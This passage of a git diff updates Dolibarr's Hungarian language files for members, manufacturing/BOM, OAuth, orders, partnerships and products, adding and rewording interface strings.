choice +CanEditAmountShort=Bármennyi +CanEditAmountShortForValues=ajánlott, bármilyen mennyiségben +MembershipDuration=Időtartam +GetMembershipButtonLabel=Join Subscriptions=Hozzájárulások SubscriptionLate=Késő SubscriptionNotReceived=A hozzájárulás nem érkezett meg @@ -136,7 +144,7 @@ CardContent=Tagsági kártya tartalma # Text of email templates ThisIsContentOfYourMembershipRequestWasReceived=Tájékoztatjuk, hogy tagsági kérelmét megkaptuk.

      ThisIsContentOfYourMembershipWasValidated=Tájékoztatjuk, hogy tagságát a következő adatokkal ellenőriztük:

      -ThisIsContentOfYourSubscriptionWasRecorded=Tájékoztatjuk, hogy új előfizetését rögzítették.

      +ThisIsContentOfYourSubscriptionWasRecorded=Tájékoztatjuk, hogy új előfizetését rögzítettük. Kérjük, számláját itt találja mellékelve.

      ThisIsContentOfSubscriptionReminderEmail=Tájékoztatjuk, hogy előfizetése hamarosan lejár, vagy már lejárt (__MEMBER_LAST_SUBSCRIPTION_DATE_END__). Reméljük, meg fogja újítani.

      ThisIsContentOfYourCard=Ez az Önnel kapcsolatos információink összefoglalása. Kérjük, vegye fel velünk a kapcsolatot, ha bármi nem megfelelő.

      DescADHERENT_AUTOREGISTER_NOTIF_MAIL_SUBJECT=A vendég automatikus beiratkozása esetén kapott értesítő e-mail tárgya @@ -198,9 +206,12 @@ SubscriptionsStatistics=Hozzájárulási statisztikák NbOfSubscriptions=Hozzájárulások száma AmountOfSubscriptions=A hozzájárulásokból beszedett összeg TurnoverOrBudget=Forgalom (egy cégnél) vagy Költségvetés (alapítványnál) -DefaultAmount=A hozzájárulás alapértelmezett összege -CanEditAmount=A látogató kiválaszthatja/szerkesztheti hozzájárulása összegét -MEMBER_NEWFORM_PAYONLINE=Ugrás az integrált online fizetési oldalra +DefaultAmount=Default amount of contribution (used only if no amount is defined at member type level) +MinimumAmount=Minimum amount (used only when contribution amount is free) +CanEditAmount=Subscription amount is free +CanEditAmountDetail=A látogató tagtípustól függetlenül választhatja/szerkesztheti hozzájárulásának mértékét +AmountIsLowerToMinimumNotice=összesen esedékes %s +MEMBER_NEWFORM_PAYONLINE=After the online registration, switch automatically on the online payment page ByProperties=Természeténél fogva MembersStatisticsByProperties=Tagstatisztikák jellegük szerint VATToUseForSubscriptions=A hozzájárulások áfakulcsa @@ -221,3 +232,4 @@ CreateDolibarrLoginDesc=A felhasználói bejelentkezés létrehozása a tagok sz CreateDolibarrThirdPartyDesc=A harmadik fél az a jogi személy, amely a számlán szerepel, ha úgy dönt, hogy minden egyes hozzájáruláshoz számlát állít elő. Később, a hozzájárulás rögzítésének folyamata során tudja létrehozni. MemberFirstname=Tag keresztneve MemberLastname=Tag vezetékneve +MemberCodeDesc=Member Code, unique for all members diff --git a/htdocs/langs/hu_HU/mrp.lang b/htdocs/langs/hu_HU/mrp.lang index d0ff6f492c7..47b6ed18978 100644 --- a/htdocs/langs/hu_HU/mrp.lang +++ b/htdocs/langs/hu_HU/mrp.lang @@ -11,8 +11,8 @@ Bom=Anyagjegyzékek BillOfMaterials=Anyagjegyzék BillOfMaterialsLines=Anyagjegyzék sorok BOMsSetup=A BOM modul beállítása -ListOfBOMs=Az anyagjegyzékek listája - BOM -ListOfManufacturingOrders=Gyártási megrendelések listája +ListOfBOMs=Bills of material - BOM +ListOfManufacturingOrders=Gyártási rendelések NewBOM=Új anyagjegyzék ProductBOMHelp=Az anyagjegyzékkel létrehozandó (vagy szétszedendő) termék.
      Megjegyzés: A 'Nature of product' = 'Nyersanyag' tulajdonságú termékek nem jelennek meg ebben a listában. BOMsNumberingModules=BOM számozási sablonok @@ -27,6 +27,7 @@ ConfirmCloneBillOfMaterials=Biztosan klónozni akarja a %s anyagjegyzéket? ConfirmCloneMo=Biztosan klónozni akarja a %s gyártási rendelést? ManufacturingEfficiency=A gyártás hatékonysága ConsumptionEfficiency=Fogyasztási hatékonyság +Consumption=Consumption ValueOfMeansLoss=A 0,95-ös érték átlagosan a gyártás vagy a szétszerelés során keletkező veszteség 5%%-át jelenti ValueOfMeansLossForProductProduced=A 0,95-ös érték átlagosan az előállított termék veszteségének 5%%-át jelenti DeleteBillOfMaterials=Anyagjegyzék törlése @@ -82,6 +83,7 @@ ProductsToProduce=A gyártandó termékek UnitCost=Egységköltség TotalCost=Teljes költség BOMTotalCost=Az anyagjegyzék előállításának költsége az egyes mennyiségek és elfogyasztott termékek költsége alapján (használja az önköltségi árat, ha van, különben az átlagos súlyozott árat, ha van, különben a legjobb vételi árat) +BOMTotalCostService=If the "Workstation" module is activated and a workstation is defined by default on the line, then the calculation is "quantity (converted into hours) x workstation ahr", otherwise "quantity (converted into hours) x cost price of the service" GoOnTabProductionToProduceFirst=Először el kell indítania a gyártást a gyártási rendelés lezárásához (lásd a '%s' lapot). De lemondhatja. ErrorAVirtualProductCantBeUsedIntoABomOrMo=A készlet nem használható BOM-ban vagy MO-ban Workstation=Munkaállomás @@ -112,3 +114,7 @@ MOAndLines=Gyártási rendelések és sorok MoChildGenerate=Gyermek Mo. generálása ParentMo=MO Szülő MOChild=MO Gyermek +BomCantAddChildBom=The nomenclature %s is already present in the tree leading to the nomenclature %s +BOMNetNeeds = BOM Net Needs +BOMProductsList=BOM's products +BOMServicesList=BOM's services diff --git a/htdocs/langs/hu_HU/oauth.lang b/htdocs/langs/hu_HU/oauth.lang index 3e9309da2cd..9011742d6ae 100644 --- a/htdocs/langs/hu_HU/oauth.lang +++ b/htdocs/langs/hu_HU/oauth.lang @@ -9,6 +9,7 @@ HasAccessToken=A tokent létrehozta és elmentette a helyi adatbázisba NewTokenStored=Token fogadva és elmentve ToCheckDeleteTokenOnProvider=Kattintson ide a %s OAuth szolgáltató által mentett jogosultság ellenőrzéséhez/törléséhez TokenDeleted=Token törölve +GetAccess=Kattintson ide a token beszerzéséhez RequestAccess=Kattintson ide a hozzáférés kéréséhez/megújításához és új token fogadásához DeleteAccess=Kattintson ide a token törléséhez UseTheFollowingUrlAsRedirectURI=Használja a következő URL-t átirányítási URI-ként, amikor létrehozza hitelesítő adatait az OAuth-szolgáltatóval: @@ -30,7 +31,11 @@ OAUTH_GITHUB_SECRET=OAuth GitHub titkos OAUTH_URL_FOR_CREDENTIAL=Nyissa meg ezt az oldalt az OAuth-azonosító és a titkosság létrehozásához vagy lekéréséhez OAUTH_STRIPE_TEST_NAME=OAuth kapcsolat teszt OAUTH_STRIPE_LIVE_NAME=OAuth kapcsolat élő -OAUTH_ID=OAuth-azonosító +OAUTH_ID=OAuth Client ID OAUTH_SECRET=OAuth titkos +OAUTH_TENANT=OAuth tenant OAuthProviderAdded=OAuth-szolgáltató hozzáadva AOAuthEntryForThisProviderAndLabelAlreadyHasAKey=Ehhez a szolgáltatóhoz és címkéhez már létezik OAuth-bejegyzés +URLOfServiceForAuthorization=Az OAuth szolgáltatás által hitelesítéshez biztosított URL +Scopes=Permissions (Scopes) +ScopeUndefined=Permissions (Scopes) undefined (see previous tab) diff --git a/htdocs/langs/hu_HU/orders.lang b/htdocs/langs/hu_HU/orders.lang index 4ae45aaeced..a61d71399e5 100644 --- a/htdocs/langs/hu_HU/orders.lang +++ b/htdocs/langs/hu_HU/orders.lang @@ -1,4 +1,5 @@ # Dolibarr language file - Source file is en_US - orders +OrderExists=Az ajánlathoz kapcsolódó megrendelés már nyitva volt, ezért nem jött létre automatikusan más megrendelés OrdersArea=Vevők megrendelései SuppliersOrdersArea=Beszerzési rendelési terület OrderCard=Megrendelőlap diff --git a/htdocs/langs/hu_HU/partnership.lang b/htdocs/langs/hu_HU/partnership.lang index 6136bf4179d..07c0d2abb33 100644 --- a/htdocs/langs/hu_HU/partnership.lang +++ b/htdocs/langs/hu_HU/partnership.lang @@ -20,6 +20,7 @@ ModulePartnershipName=Partnerség kezelése PartnershipDescription=Partnerség modul kezelés PartnershipDescriptionLong= Partnerség modul kezelés Partnership=Partnerség +Partnerships=Partnerships AddPartnership=Partnerség hozzáadása CancelPartnershipForExpiredMembers=Partnerség: A lejárt előfizetéssel rendelkező tagok partnerségének megszüntetése PartnershipCheckBacklink=Partnerség: Ellenőrizze a hivatkozási hivatkozást @@ -28,6 +29,7 @@ PartnershipCheckBacklink=Partnerség: Ellenőrizze a hivatkozási hivatkozást # Menu # NewPartnership=Új partnerség +NewPartnershipbyWeb=Your partnership request has been added successfully. We may contact you soon... ListOfPartnerships=A partnerségek listája # diff --git a/htdocs/langs/hu_HU/products.lang b/htdocs/langs/hu_HU/products.lang index f9f3cebf843..f1400cf3e12 100644 --- a/htdocs/langs/hu_HU/products.lang +++ b/htdocs/langs/hu_HU/products.lang @@ -1,10 +1,10 @@ # Dolibarr language file - Source file is en_US - products -ProductRef=Termék ref. +ProductRef=Termék hiv. ProductLabel=Termékcímke ProductLabelTranslated=Lefordított termékcímke ProductDescription=Termékleírás -ProductDescriptionTranslated=Termékleírás lefordítása -ProductNoteTranslated=A termékleírás lefordítása +ProductDescriptionTranslated=Lefordított termékleírás +ProductNoteTranslated=Lefordított termékjegyzet ProductServiceCard=Termékek/Szolgáltatások kártya TMenuProducts=Termékek TMenuServices=Szolgáltatások @@ -14,38 +14,38 @@ Product=Termék Service=Szolgáltatás ProductId=Termék/szolgáltatás azonosító Create=Létrehozás -Reference=Referencia +Reference=Hivatkozás NewProduct=Új termék NewService=Új szolgáltatás ProductVatMassChange=Globális ÁFA frissítés -ProductVatMassChangeDesc=Ez az eszköz frissíti az MINDEN termékre és szolgáltatásra meghatározott áfakulcsot! +ProductVatMassChangeDesc=Ez az eszköz frissíti az MINDEN terméken és szolgáltatáson meghatározott áfakulcsot! MassBarcodeInit=Tömeges vonalkód inicializálás MassBarcodeInitDesc=Ez az oldal használható vonalkód inicializálására olyan objektumokon, amelyeknél nincs vonalkód. Ellenőrizze, mielőtt a modul vonalkódjának beállítása befejeződik. ProductAccountancyBuyCode=Számviteli kód (vásárlás) ProductAccountancyBuyIntraCode=Számviteli kód (közösségen belüli vásárlás) ProductAccountancyBuyExportCode=Számviteli kód (vásárlási import) ProductAccountancySellCode=Számviteli kód (eladás) -ProductAccountancySellIntraCode=Számviteli kód (Közösségen belüli értékesítés) +ProductAccountancySellIntraCode=Számviteli kód (közösségen belüli értékesítés) ProductAccountancySellExportCode=Számviteli kód (értékesítési export) -ProductOrService=Termék vagy szolgáltatás -ProductsAndServices=Termékek és szolgáltatások -ProductsOrServices=Termékek vagy szolgáltatások +ProductOrService=Termék vagy Szolgáltatás +ProductsAndServices=Termékek és Szolgáltatások +ProductsOrServices=Termékek vagy Szolgáltatások ProductsPipeServices=Termékek | Szolgáltatások ProductsOnSale=Eladható termékek ProductsOnPurchase=Vásárolható termékek ProductsOnSaleOnly=Csak eladható termékek -ProductsOnPurchaseOnly=Csak megvásárolható termékek +ProductsOnPurchaseOnly=Csak vásárolható termékek ProductsNotOnSell=Nem eladható és nem vásárolható termékek -ProductsOnSellAndOnBuy=Eladható és megvásárolható termékek +ProductsOnSellAndOnBuy=Eladható és vásárolható termékek ServicesOnSale=Eladható szolgáltatások ServicesOnPurchase=Vásárolható szolgáltatások ServicesOnSaleOnly=Csak eladható szolgáltatások -ServicesOnPurchaseOnly=Csak megvásárolható szolgáltatások +ServicesOnPurchaseOnly=Csak vásárolható szolgáltatások ServicesNotOnSell=Nem eladható és nem vásárolható szolgáltatások -ServicesOnSellAndOnBuy=Eladható és megvásárolható szolgáltatások -LastModifiedProductsAndServices=A legújabb %s termék/szolgáltatás, amely módosult -LastRecordedProducts=A legutóbbi %s rögzített termék -LastRecordedServices=A legutóbbi %s rögzített szolgáltatás +ServicesOnSellAndOnBuy=Eladható és vásárolható szolgáltatások +LastModifiedProductsAndServices=A legutóbb módosított %s termékek/szolgáltatások +LastRecordedProducts=A legutóbbi %s rögzített termékek +LastRecordedServices=A legutóbbi %s rögzített szolgáltatások CardProduct0=Termék CardProduct1=Szolgáltatás Stock=Készlet @@ -54,13 +54,13 @@ Stocks=A termékek készletei és elhelyezkedése (raktár). Movements=Mozgások Sell=Eladás Buy=Vásárlás -OnSell=Eladó +OnSell=Eladásra OnBuy=Vásárlásra NotOnSell=Nem eladható -ProductStatusOnSell=Eladó -ProductStatusNotOnSell=Nem eladó -ProductStatusOnSellShort=Eladó -ProductStatusNotOnSellShort=Nem eladó +ProductStatusOnSell=Eladásra +ProductStatusNotOnSell=Nem eladható +ProductStatusOnSellShort=Eladásra +ProductStatusNotOnSellShort=Nem eladható ProductStatusOnBuy=Vásárlásra ProductStatusNotOnBuy=Nem vásárolható meg ProductStatusOnBuyShort=Vásárlásra @@ -68,89 +68,89 @@ ProductStatusNotOnBuyShort=Nem vásárolható meg UpdateVAT=Áfa frissítése UpdateDefaultPrice=Alapértelmezett ár frissítése UpdateLevelPrices=Frissítse az árakat minden szinten -AppliedPricesFrom=Alkalmazva +AppliedPricesFrom=tól alkalmazva SellingPrice=Eladási ár SellingPriceHT=Eladási ár (adó nélkül) SellingPriceTTC=Eladási ár (adóval együtt) SellingMinPriceTTC=Minimális eladási ár (adóval együtt) -CostPriceDescription=Ez az ármező (adó nélkül) használható annak rögzítésére, hogy ez a termék átlagosan mennyibe kerül a vállalatnak. Bármilyen ár lehet, amelyet saját maga számít ki, például az átlagos vételárból plusz az átlagos gyártási és forgalmazási költségekből. -CostPriceUsage=Ez az érték felhasználható az árrés kiszámításához. +CostPriceDescription=Ez az ár mező (adó nélkül) használható annak rögzítésére, hogy ez a termék átlagosan mennyibe kerül a vállalatnak. Bármilyen ár lehet, amelyet saját maga számít ki, például az átlagos vételárból plusz az átlagos gyártási és forgalmazási költségekből. +CostPriceUsage=Ezt az értéket fel lehet használni az árrés kiszámításához. ManufacturingPrice=Gyártási ár SoldAmount=Eladott mennyiség -PurchasedAmount=Vásárolt összeg +PurchasedAmount=Vásárolt mennyiség NewPrice=Új ár MinPrice=Min. eladási ár EditSellingPriceLabel=Eladási ár címke szerkesztése -CantBeLessThanMinPrice=Az eladási ár nem lehet alacsonyabb, mint a termék minimális megengedett értéke (%s adó nélkül). Ez az üzenet akkor is megjelenhet, ha túl fontos kedvezményt ír be. +CantBeLessThanMinPrice=Az eladási ár nem lehet alacsonyabb a termékre megengedett minimumnál (%s adó nélkül). Ez az üzenet akkor is megjelenhet, ha túl fontos kedvezményt ír be. ContractStatusClosed=Zárva ErrorProductAlreadyExists=Már létezik %s hivatkozású termék. -ErrorProductBadRefOrLabel=Hibás érték a hivatkozáshoz vagy a címkéhez. +ErrorProductBadRefOrLabel=Hibás referenciaérték vagy címke. ErrorProductClone=Hiba történt a termék vagy szolgáltatás klónozása közben. ErrorPriceCantBeLowerThanMinPrice=Hiba, az ár nem lehet alacsonyabb a minimális árnál. -Suppliers=Szállítók -SupplierRef=Szállító cikkszáma SKU +Suppliers=Forgalmazók +SupplierRef=Forgalmazói SKU ShowProduct=Termék megjelenítése ShowService=Szolgáltatás megjelenítése -ProductsAndServicesArea=Termékek és szolgáltatások terület -ProductsArea=Termékterület -ServicesArea=Szolgáltatási terület +ProductsAndServicesArea=Termékek és szolgáltatások területe +ProductsArea=Termék területe +ServicesArea=Szolgáltatások területe ListOfStockMovements=Készletmozgások listája BuyingPrice=Vételi ár -PriceForEachProduct=Termékek meghatározott áron -SupplierCard=Szállítókártya -PriceRemoved=Az ár eltávolítva +PriceForEachProduct=Termékek egyedi áron +SupplierCard=Forgalmazói kártya +PriceRemoved=Ár eltávolítva BarCode=Vonalkód BarcodeType=Vonalkód típusa SetDefaultBarcodeType=Vonalkód típusának beállítása BarcodeValue=Vonalkód érték NoteNotVisibleOnBill=Megjegyzés (a számlákon, ajánlatokon nem látható...) ServiceLimitedDuration=Ha a termék korlátozott időtartamú szolgáltatás: -FillWithLastServiceDates=Töltsd ki az utolsó szolgáltatási sor dátumával -MultiPricesAbility=Több árszegmens termékenként/szolgáltatásonként (minden vásárló egy árszegmensben van) +FillWithLastServiceDates=Töltse ki az utolsó szolgáltatási sor dátumával +MultiPricesAbility=Több árszegmens termékenként/szolgáltatásonként (minden ügyfél egy árszegmensben van) MultiPricesNumPrices=Árak száma -DefaultPriceType=Alapértelmezett árak alapja (az adó nélkül) új eladási árak hozzáadásakor +DefaultPriceType=Az alapértelmezett árak alapja (adóval és adó nélkül) új eladási árak hozzáadásakor AssociatedProductsAbility=Kitek engedélyezése (több termékből álló készlet) VariantsAbility=Változatok engedélyezése (a termékek változatai, például szín, méret) -AssociatedProducts=Kit -AssociatedProductsNumber=A készletet alkotó termékek száma -ParentProductsNumber=A szülőcsomagoló termék száma -ParentProducts=Szülőtermékek -IfZeroItIsNotAVirtualProduct=Ha 0, akkor ez a termék nem készlet -IfZeroItIsNotUsedByVirtualProduct=Ha 0, akkor ezt a terméket egyetlen készlet sem használja -KeywordFilter=Kulcsszószűrő +AssociatedProducts=Kitek +AssociatedProductsNumber=A kitet alkotó termékek száma +ParentProductsNumber=Alapcsomagolási termék száma +ParentProducts=Alaptermékek +IfZeroItIsNotAVirtualProduct=Ha 0, akkor ez a termék nem kit +IfZeroItIsNotUsedByVirtualProduct=Ha 0, akkor ezt a terméket egyetlen kit sem használja +KeywordFilter=Kulcsszó szűrő CategoryFilter=Kategória szűrő -ProductToAddSearch=A hozzáadni kívánt termék keresése +ProductToAddSearch=Hozzáadni kívánt termék keresése NoMatchFound=Nem található egyezés ListOfProductsServices=Termékek/szolgáltatások listája -ProductAssociationList=A készlet részét képező termékek/szolgáltatások listája -ProductParentList=A terméket komponensként tartalmazó készletek listája -ErrorAssociationIsFatherOfThis=Az egyik kiválasztott termék szülője az aktuális terméknek +ProductAssociationList=A kit részét képező termékek/szolgáltatások listája +ProductParentList=A terméket összetevőként tartalmazó kitek listája +ErrorAssociationIsFatherOfThis=Az egyik kiválasztott termék az aktuális termék szülője DeleteProduct=Termék/szolgáltatás törlése -ConfirmDeleteProduct=Biztosan törölni szeretné ezt a terméket/szolgáltatást? -ProductDeleted=Termék/szolgáltatás "%s" törölve az adatbázisból. +ConfirmDeleteProduct=Biztosan törli ezt a terméket/szolgáltatást? +ProductDeleted=Az "%s" termék/szolgáltatás törölve az adatbázisból. ExportDataset_produit_1=Termékek ExportDataset_service_1=Szolgáltatások ImportDataset_produit_1=Termékek ImportDataset_service_1=Szolgáltatások -DeleteProductLine=Termékvonal törlése -ConfirmDeleteProductLine=Biztosan törölni szeretné ezt a terméksort? -ProductSpecial=Speciális +DeleteProductLine=Termékcsalád törlése +ConfirmDeleteProductLine=Biztos, hogy törölni szeretné ezt a termékcsaládot? +ProductSpecial=Különleges QtyMin=Min. beszerzési mennyiség PriceQtyMin=Ár mennyiség min. -PriceQtyMinCurrency=Ennek a mennyiségnek az ára (pénznem). (Nincs leárazás) +PriceQtyMinCurrency=Ár (pénznem) erre a mennyiségre. WithoutDiscount=Kedvezmény nélkül -VATRateForSupplierProduct=Áfakulcs (ehhez az eladóhoz / termékhez) +VATRateForSupplierProduct=ÁFA kulcs (ehhez a forgalmazóhoz/termékhez) DiscountQtyMin=Kedvezmény erre a mennyiségre. -NoPriceDefinedForThisSupplier=Nincs meghatározott ár/mennyiség ehhez a szállítóhoz/termékhez -NoSupplierPriceDefinedForThisProduct=Nincs gyártói ár/mennyiség meghatározva ehhez a termékhez +NoPriceDefinedForThisSupplier=Ehhez a forgalmazóhoz/termékhez nincs meghatározva ár/mennyiség +NoSupplierPriceDefinedForThisProduct=Ehhez a termékhez nincs meghatározva forgalmazói ár/mennyiség PredefinedItem=Előre meghatározott elem PredefinedProductsToSell=Előre meghatározott termék PredefinedServicesToSell=Előre meghatározott szolgáltatás -PredefinedProductsAndServicesToSell=Előre meghatározott termékek/szolgáltatások eladásra -PredefinedProductsToPurchase=Előre meghatározott termék, amelyeket meg kell vásárolni -PredefinedServicesToPurchase=Előre meghatározott szolgáltatások, amelyeket meg kell vásárolni -PredefinedProductsAndServicesToPurchase=Előre meghatározott termékek/szolgáltatások, amelyeket meg kell vásárolni -NotPredefinedProducts=Nem előre definiált termékek/szolgáltatások +PredefinedProductsAndServicesToSell=Előre meghatározott termékek/szolgáltatások értékesítése +PredefinedProductsToPurchase=Előre meghatározott termék megvásárlása +PredefinedServicesToPurchase=Előre meghatározott szolgáltatások megvásárlása +PredefinedProductsAndServicesToPurchase=Előre meghatározott termékek/szolgáltatások megvásárlása +NotPredefinedProducts=Nem előre meghatározott termékek/szolgáltatások GenerateThumb=Miniatűr kép létrehozása ServiceNb=Szolgáltatás #%s ListProductServiceByPopularity=Termékek/szolgáltatások listája népszerűség szerint @@ -160,17 +160,17 @@ Finished=Gyártott termék RowMaterial=Nyersanyag ConfirmCloneProduct=Biztosan klónozni szeretné a(z) %s terméket vagy szolgáltatást? CloneContentProduct=A termék/szolgáltatás összes fő információjának klónozása -ClonePricesProduct=Klón árak +ClonePricesProduct=Klónozott árak CloneCategoriesProduct=Kapcsolt címkék/kategóriák klónozása CloneCompositionProduct=Virtuális termékek/szolgáltatások klónozása CloneCombinationsProduct=A termékváltozatok klónozása ProductIsUsed=Ez a termék használatban van -NewRefForClone=Új termék/szolgáltatás hivatkozása +NewRefForClone=Új termék/szolgáltatás hivatkozási száma SellingPrices=Eladási árak BuyingPrices=Vételi árak -CustomerPrices=Vásárlói árak -SuppliersPrices=Szállítói árak -SuppliersPricesOfProductsOrServices=Szállítói árak (termékek vagy szolgáltatások) +CustomerPrices=Ügyfél árak +SuppliersPrices=Forgalmazói árak +SuppliersPricesOfProductsOrServices=Forgalmazói árak (termékek vagy szolgáltatások) CustomCode=Vám | Áru | HS kód CountryOrigin=Származási ország RegionStateOrigin=Származási régió @@ -190,7 +190,7 @@ h=h day=nap d=d kilogram=kilogramm -kg=kg +kg=Kg gram=gramm g=g meter=méter @@ -201,7 +201,7 @@ m3=m³ liter=liter l=L unitP=Darab -unitSET=Beállítva +unitSET=Készlet unitS=Második unitH=Óra unitD=Nap @@ -210,7 +210,7 @@ unitM=Méter unitLM=Lineáris méter unitM2=Négyzetméter unitM3=Köbméter -unitL=liter +unitL=Liter unitT=tonna unitKG=kg unitG=gramm @@ -241,21 +241,21 @@ ProductCodeModel=Termékreferencia sablon ServiceCodeModel=Szolgáltatási hivatkozás sablon CurrentProductPrice=Jelenlegi ár AlwaysUseNewPrice=Mindig használja a termék/szolgáltatás aktuális árát -AlwaysUseFixedPrice=Rögzített ár használata -PriceByQuantity=Eltérő árak mennyiség szerint -DisablePriceByQty=Árak letiltása mennyiség szerint +AlwaysUseFixedPrice=Használja a rögzített árat +PriceByQuantity=Különböző árak mennyiség szerint +DisablePriceByQty=Mennyiség szerinti árak letiltása PriceByQuantityRange=Mennyiségtartomány MultipriceRules=Automatikus árak a szegmenshez UseMultipriceRules=Használja az árszegmens szabályokat (a termékmodul beállításában meghatározott) az összes többi szegmens árának automatikus kiszámításához az első szegmens szerint -PercentVariationOver=%% eltérés %s felett -PercentDiscountOver=%% kedvezmény %s felett -KeepEmptyForAutoCalculation=Hagyja üresen, hogy ez automatikusan ki legyen számítva a termékek súlyából vagy térfogatából +PercentVariationOver=%% variáció az %s-hez képest +PercentDiscountOver=%% kedvezmény az %s felett +KeepEmptyForAutoCalculation=Hagyja üresen, hogy ez automatikusan kiszámítható legyen a termékek tömegéből vagy térfogatából VariantRefExample=Példák: SZÍN, MÉRET VariantLabelExample=Példák: Szín, Méret ### composition fabrication Build=Gyártás ProductsMultiPrice=Termékek és árak az egyes árszegmensekhez -ProductsOrServiceMultiPrice=Vásárlói árak (termékek vagy szolgáltatások, többáras) +ProductsOrServiceMultiPrice=Ügyfél árak (termékek vagy szolgáltatások, többáras) ProductSellByQuarterHT=Termékforgalom negyedévente adózás előtt ServiceSellByQuarterHT=Szolgáltatási forgalom negyedévente adózás előtt Quarter1=1. Negyed @@ -263,101 +263,101 @@ Quarter2=2. Negyed Quarter3=3. Negyed Quarter4=4. Negyed BarCodePrintsheet=Vonalkódok nyomtatása -PageToGenerateBarCodeSheets=Ezzel az eszközzel vonalkódmatricákat nyomtathat ki. Válassza ki a matricaoldal formátumát, a vonalkód típusát és a vonalkód értékét, majd kattintson a %s gombra. -NumberOfStickers=Az oldalon nyomtatandó matricák száma +PageToGenerateBarCodeSheets=Ezzel az eszközzel vonalkódmatricákat nyomtathat ki. Válassza ki a matricaoldal formátumát, a vonalkód típusát és a vonalkód értékét, majd kattintson a %s gombra. +NumberOfStickers=Az oldalra nyomtatandó matricák száma PrintsheetForOneBarCode=Több matrica nyomtatása egy vonalkódhoz -BuildPageToPrint=Oldal létrehozása nyomtatáshoz +BuildPageToPrint=Nyomtatandó oldal létrehozása FillBarCodeTypeAndValueManually=Vonalkód típusának és értékének manuális kitöltése. FillBarCodeTypeAndValueFromProduct=Vonalkód típusának és értékének kitöltése a termék vonalkódjából. FillBarCodeTypeAndValueFromThirdParty=Töltse ki a vonalkód típusát és értékét egy harmadik fél vonalkódjából. -DefinitionOfBarCodeForProductNotComplete=A %s termék vonalkódjának típusának vagy értékének meghatározása nem teljes. +DefinitionOfBarCodeForProductNotComplete=A vonalkód típusának vagy értékének meghatározása nem teljes az %s termék esetében. DefinitionOfBarCodeForThirdpartyNotComplete=A vonalkód típusának vagy értékének meghatározása nem teljes a(z) %s harmadik fél számára. -BarCodeDataForProduct=A %s termék vonalkódinformációi: -BarCodeDataForThirdparty=Harmadik fél vonalkódinformációi: %s: -ResetBarcodeForAllRecords=Határozza meg a vonalkód értékét az összes rekordhoz (ez a már definiált vonalkód értéket is visszaállítja új értékekkel) -PriceByCustomer=Eltérő árak minden vásárló számára +BarCodeDataForProduct=Az %s termék vonalkódja: +BarCodeDataForThirdparty=A %s harmadik fél vonalkódja: +ResetBarcodeForAllRecords=Meghatározza a vonalkód értékét az összes rekordhoz (ez egyben visszaállítja a már meghatározott vonalkód értékét az új értékekkel). +PriceByCustomer=Különböző árak minden ügyfél számára PriceCatalogue=Egyetlen eladási ár termékenként/szolgáltatásonként -PricingRule=Eladási árakra vonatkozó szabályok -AddCustomerPrice=Ár hozzáadása ügyfél szerint +PricingRule=Az eladási árakra vonatkozó szabályok +AddCustomerPrice=Árak hozzáadása ügyfél szerint ForceUpdateChildPriceSoc=Állítsa be ugyanazt az árat az ügyfél leányvállalatainál -PriceByCustomerLog=Korábbi vásárlói árak naplója +PriceByCustomerLog=Korábbi ügyfél árak naplója MinimumPriceLimit=A minimális ár nem lehet alacsonyabb, mint %s MinimumRecommendedPrice=A minimális ajánlott ár: %s -PriceExpressionEditor=Árkifejezés-szerkesztő +PriceExpressionEditor=Ár kifejezés szerkesztő PriceExpressionSelected=Kiválasztott árkifejezés -PriceExpressionEditorHelp1="ár = 2 + 2" vagy "2 + 2" az ár beállításához. Használja ; kifejezések elkülönítésére +PriceExpressionEditorHelp1="ár = 2 + 2" vagy "2 + 2" az ár beállításához. Használja a ;-t a kifejezések elválasztására PriceExpressionEditorHelp2=Az extra mezőket olyan változókkal érheti el, mint a #extrafield_myextrafieldkey#, a globális változókat pedig a #global_mycode# segítségével -PriceExpressionEditorHelp3=Mind a termék/szolgáltatás, mind a szállítói árakban a következő változók állnak rendelkezésre:
      #tva_tx# #localtax1_tx# #localtax2_tx# #weight# #length# #surface# #price_min# -PriceExpressionEditorHelp4=Csak a termék/szolgáltatás árában: #supplier_min_price#
      Csak szállítói árakban: #supplier_quantity# és #supplier_tva_tx# +PriceExpressionEditorHelp3=Mind a termék/szolgáltatás, mind a forgalmazói árakban a következő változók állnak rendelkezésre:
      #tva_tx# #localtax1_tx# #localtax2_tx# #weight# #length# #surface# #price_min# +PriceExpressionEditorHelp4=Csak a termék/szolgáltatás árában: #supplier_min_price#
      Csak forgalmazói árakban: #supplier_quantity# és #supplier_tva_tx# PriceExpressionEditorHelp5=Elérhető globális értékek: PriceMode=Ár mód PriceNumeric=Szám DefaultPrice=Alapértelmezett ár DefaultPriceLog=A korábbi alapértelmezett árak naplója -ComposedProductIncDecStock=Raktárkészlet növelése/csökkentése szülőmódosításkor -ComposedProduct=Gyermektermékek +ComposedProductIncDecStock=Növekvő/csökkenő készlet az anyavállalat változásakor +ComposedProduct=Gyermek termékek MinSupplierPrice=Minimális vételár MinCustomerPrice=Minimális eladási ár NoDynamicPrice=Nincs dinamikus ár DynamicPriceConfiguration=Dinamikus árkonfiguráció -DynamicPriceDesc=Matematikai képleteket határozhat meg a Vevői vagy Szállítói árak kiszámításához. Az ilyen képletek használhatnak minden matematikai operátort, néhány állandót és változót. Itt adhatja meg a használni kívánt változókat. Ha a változó automatikus frissítést igényel, megadhatja a külső URL-t, hogy a Dolibarr automatikusan frissítse az értéket. +DynamicPriceDesc=Matematikai képleteket határozhat meg az Ügyfél vagy Forgalmazói árak kiszámításához. Az ilyen képletek használhatnak minden matematikai operátort, néhány állandót és változót. Itt adhatja meg a használni kívánt változókat. Ha a változó automatikus frissítést igényel, megadhatja a külső URL-t, hogy a Dolibarr automatikusan frissítse az értéket. AddVariable=Változó hozzáadása AddUpdater=Frissítő hozzáadása GlobalVariables=Globális változók VariableToUpdate=Frissítendő változó GlobalVariableUpdaters=Külső frissítők a változókhoz GlobalVariableUpdaterType0=JSON adatok -GlobalVariableUpdaterHelp0=JSON-adatokat elemzi a megadott URL-ről, a VALUE adja meg a releváns érték helyét, +GlobalVariableUpdaterHelp0=Elemzi a megadott URL-ről származó JSON-adatokat, a VALUE adja meg a releváns érték helyét, GlobalVariableUpdaterHelpFormat0=Kérés formátuma {"URL": "http://example.com/urlofjson", "VALUE": "array1,array2,targetvalue"} GlobalVariableUpdaterType1=WebService adatok -GlobalVariableUpdaterHelp1=Elemezi a WebService adatokat a megadott URL-ről, az NS a névteret, a VALUE a releváns érték helyét, a DATA az elküldendő adatokat, a METHOD pedig a hívó WS metódus +GlobalVariableUpdaterHelp1=A WebService adatait elemzi a megadott 